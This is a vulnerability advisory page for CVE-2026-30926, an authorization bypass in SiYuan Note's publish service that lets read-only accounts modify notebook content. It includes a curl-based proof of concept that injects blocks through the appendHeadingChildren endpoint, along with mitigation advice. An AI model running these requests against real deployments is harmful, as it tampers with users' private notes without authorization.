# CVE-2026-30926: kernel PrivEsc (High 7.1)

🐹

🐹 Go

Not in CISA KEV

HIGH severity

# CVE-2026-30926 — kernel

HIGH 

CVE-2026-30926 is a high-severity (CVSS 7.1) CWE-284 vulnerability in github.com/siyuan-note/siyuan/kernel. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

SiYuan Note publish service authorization bypass allows low-privilege users to modify notebook content

Also known as[GHSA-f9cq-v43p-v523](/vulnerability/GHSA-f9cq-v43p-v523)GO-2026-4658

Published

Mar 9, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

See advisory

Exploits

None indexed

Exploitation data as of Nov 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30926.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.3%probability of exploitation in next 30 days

Lower Risk+0.02%

Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk

0.00%0.28%0.56%0.84%0.0%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐹`github.com/siyuan-note/siyuan/kernel`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

## Description

#### Summary

A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint.

The endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents.

This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.

#### Details

File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code:

```
- router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren)
- api/block.go: model.AppendHeadingChildren(id, childrenDOM)
- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)
- session.go: CheckAuth accepts RoleReader as authenticated
```

Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.

#### PoC

1.  Enable publish service and create low-privilege account

```
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "enable": true,
  "port": 6808,
  "auth": {
    "enable": true,
    "accounts": [
      {
        "username": "viewer",
        "password": "viewerpass"
      }
    ]
  }
}' \
http://127.0.0.1:6806/api/setting/setPublish
```

1.  Create a test notebook and document (admin)

```
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{"name":"AuditPOC"}' \
http://127.0.0.1:6806/api/notebook/createNotebook
```

Create a document containing a heading:

```
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
  "notebook":"<NOTEBOOK_ID>",
  "path":"/Victim",
  "markdown":"# VictimHeading\n\nOriginal paragraph"
}' \
http://127.0.0.1:6806/api/filetree/createDocWithMd
```

1.  Retrieve heading block ID (low-priv publish account)

```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \
http://127.0.0.1:6808/api/query/sql
```

Example response:

```
{
 "id":"20260307093334-05sj7bz",
 "root_id":"20260307093334-vsa6ft0"
}
```

1.  Generate block DOM

```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"dom":"<p>InjectedByReader</p>"}' \
http://127.0.0.1:6808/api/lute/html2BlockDOM
```

1.  Append block using the vulnerable endpoint

```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{
"id":"20260307093334-05sj7bz",
"childrenDOM":"<div ...>InjectedByReader</div>"
}' \
http://127.0.0.1:6808/api/block/appendHeadingChildren
```

Server response:

```
{"code":0}
```

1.  Verify unauthorized modification

```
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \
http://127.0.0.1:6808/api/query/sql
```

Result includes attacker-controlled content:

```
InjectedByReader
```

This confirms that the low-privilege publish user successfully modified the document.

#### Impact

This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.

Potential impacts include:

• Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges

The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.

## Affected Packages

1 total

Ecosystem

Package

Vulnerable range

Fix

🐹Go

`github.com/siyuan-note/siyuan/kernel` 

all versions

No fix

## Affected Products

1 product · 1 configurations

Application

`siyuan`b3log

< 3.5.10

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Remediation status
    
    The records we use list no patched version of github.com/siyuan-note/siyuan/kernel for CVE-2026-30926. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
    
3.  ### Mitigate without a patch
    
    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
    

## Frequently Asked Questions

\### Summary A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the \`/api/block/appendHeadingChildren\` API endpoint. The endpoint only requires \`model.CheckAuth\`, which accepts \`RoleReader\` sessions. Because the endpoint performs a persistent document mutation and does not enforce \`CheckAdminRole\` or \`CheckReadonly\`, a publish user with read-only privileges can append new blocks to existing documents. This allows remote authenticated publish users to modify notebook content a

O3 Security · Impact-Aware SCA

### Is CVE-2026-30926 in your dependencies?

Find it across Go, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)